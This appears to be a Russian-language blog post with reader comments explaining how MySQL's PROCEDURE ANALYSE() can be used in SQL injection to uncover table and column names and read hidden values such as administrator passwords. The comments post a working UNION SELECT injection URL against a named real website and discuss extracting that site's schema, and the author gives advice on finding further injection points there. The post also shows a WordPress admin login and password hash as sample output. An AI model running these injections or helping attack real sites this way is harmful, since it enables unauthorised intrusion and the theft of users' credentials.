PROCEDURE ANALYSE() – это процедура MySQL, которая исследует запрос и предлагает оптимальные типы данных для каждой колонки, участвующей в запросе. Процедура работает во всех версиях MySQL, начиная с третьей.
Синтаксис:
SELECT … FROM … WHERE … PROCEDURE ANALYSE([max_elements,[max_memory]])
При вызове процедуры, весь результат запроса переписывается и возвращаются следующие данные:
mysql> SELECT user_login, user_pass FROM wp_users WHERE ID=1 PROCEDURE ANALYSE(); +------------------------+------------------------------------+------------------------------------+------------+------------+------------------+-------+-------------------------+------+-----------------------------------------------------+ | Field_name | Min_value | Max_value | Min_length | Max_length | Empties_or_zeros | Nulls | Avg_value_or_avg_length | Std | Optimal_fieldtype | +------------------------+------------------------------------+------------------------------------+------------+------------+------------------+-------+-------------------------+------+-----------------------------------------------------+ | wp.wp_users.user_login | admin | admin | 5 | 5 | 0 | 0 | 5.0000 | NULL | ENUM('admin') NOT NULL | | wp.wp_users.user_pass | $P$BRxeOjv1sgBVgV82vO524AqG/5EdDD0 | $P$BRxeOjv1sgBVgV82vO524AqG/5EdDD0 | 34 | 34 | 0 | 0 | 34.0000 | NULL | ENUM('$P$BRxeOjv1sgBVgV82vO524AqG/5EdDD0') NOT NULL | +------------------------+------------------------------------+------------------------------------+------------+------------+------------------+-------+-------------------------+------+-----------------------------------------------------+ 2 rows in set (0.00 sec)
Ни один из аргументов PROCEDURE ANALYSE() не позволяет использовать подзапросы внутри них, однако процедуру можно использовать в SQL-инъекциях для получения имен колонок, которые участвуют в выборке, таблицы и текущей базы данных. Особенно это актуально для MySQL версии 4, где нет системной базы данных information_schema, хранящей информацию о всех БД, таблицах и их колонках. К сожалению, имеется ряд ограничений:
- процедура позволяет узнать имя только той таблицы, ее колонок и базы данных, которые непосредственно участвуют в запросе
- эти данные находятся в первом столбце (Field_name), и в такой ситуации многое зависит от конкретного веб-приложения – от того, как оно выводит данные, возвращаемые базой данных
Для перебора записей с необходимыми данными возможно использование оператора LIMIT:
SELECT user_login, user_pass FROM wp_users WHERE ID=1 PROCEDURE ANALYSE() — вернет первую запись при условии, что веб-приложение допускает получение нескольких записей, но выводит только первую
SELECT user_login, user_pass FROM wp_users WHERE ID=1 LIMIT 1,1 PROCEDURE ANALYSE() — вернет вторую запись (wp.wp_users.user_pass)
Кроме столбца Field_name интерес представляют Min_value, Max_value и Optimal_fieldtype, которые выводят содержание соответствующих столбцов. Эту возможность можно использовать в такой ситуации:
- имеется уязвимое веб-приложение, отображающее профили зарегистрированных пользователей;
- параметр ID не фильтруется;
- запрос для получения данных из БД имеет вид:
SELECT * FROM users WHERE id=1
в таблице users имеются столбцы login и status, последний отвечает за уровень привилегий пользователя;
Таким образом, используя PROCEDURE ANALYSE() и LIMIT, становится возможным подобрать запись пользователя с привилегиями администратора, и выявить содержание недоступных столбцов, в частности с паролями и другой конфиденциальной информацией пользователей. Правда, как уже говорилось, успех зависит от того, как веб-приложение обрабатывает и выводит данные из БД.
Читайте форум sla.ckers.org, там еще много чего интересного 😉
Хммм, занимательная идея 🙂
Ушёл тестить.
oga, thx, interesno 😉
ого, познавательно (:
А на каком-нибудь рабочем примере показать?
Спасибо!
попробуйте что-нибудь из этого:
https://forum.antichat.ru/threadedpost1095320.html
Респект! Я как раз мучился – мускуль 4-ый – нет возможности получить инфу о таблицах. и тут такая прекрасная идея!!! Уже префикс знаю ну и таблицу нашел )) PROCEDURE ANALYSE() – выручил 😉
ЗЫ
А есть ли какая возможность в 5 мускуле просмотреть таблицы в БД mysql если нет привилегий?
Не мог бы ты на конкретном примере показать, как этим пользоваться.
Имеем уязвимый сайт – http://www.barcelo.edu.ar/vernoticia.php?id=522
Воспользуемся уязвимостью –
http://www.barcelo.edu.ar/vernoticia.php?id=-1+union+select+1,2,3,4,5,6,7,8,CAST(version()+AS+char),CAST(database()+AS+char),CAST(user()+AS+char),12,13,14,15,16,17,18,19,20,21/*
Точно присутствуют таблицы: ‘imagenes’, ‘areas’,’novedades’
Как используя PROCEDURE ANALYSE() можно получить имена колонок этих таблиц?
С помощью PROCEDURE ANALYSE() можно узнать имена только тех таблиц с их колонками, из которых производится выборка в оригинальном запросе, т.е. необходимо найти другую SQL-инъекцию в запросе, в котором участвует одна из этих таблиц
Как раз таблицы ‘areas’ и ‘novedades’ участвуют в оригинальном запросе
http://www.barcelo.edu.ar/vernoticia.php?id=522‘
В вашем случае при запросе
возникает еще одна ошибка, значит результат одного запроса попадает в другой
Разег,у меня вообще на страничке после этого запроса ничего не отображается.Помимо 522+procedure+analyse(выборке тоесть) есть ещё выкрутасы? Мб в where,limit,order,group и т.д.?У меня чет нигде не работает.
Возможность вывода необходимой информации зависит от исходного запроса, в частности PROCEDURE ANALYSE() после ORDER BY вызывает ошибку:
PROCEDURE ANALYSE() не будет работать, для вывода данных на страницу использовался ассоциативный массив (а так чаще всего и бывает). Вот пример:
$sql=mysql_query(“select `id`,`name` from `mp3_type` procedure analyse()”);
$row=mysql_fetch_array($sql);
Елемент массива $row[‘id’] – неопределен, а $row[0] – определен. Чаще всего для вывода используется $row[‘id’], и соответственно мы не увидим результатов выполнения PROCEDURE ANALYSE(), а вто если любой другой метод ($row[0], mysql_result, etc…) то все запашет наура.
класс , плохо что только название таблицы с которой работаем можна узнать, но все же1 и еще бока с ассоциативным масивом!!
молодца ^__^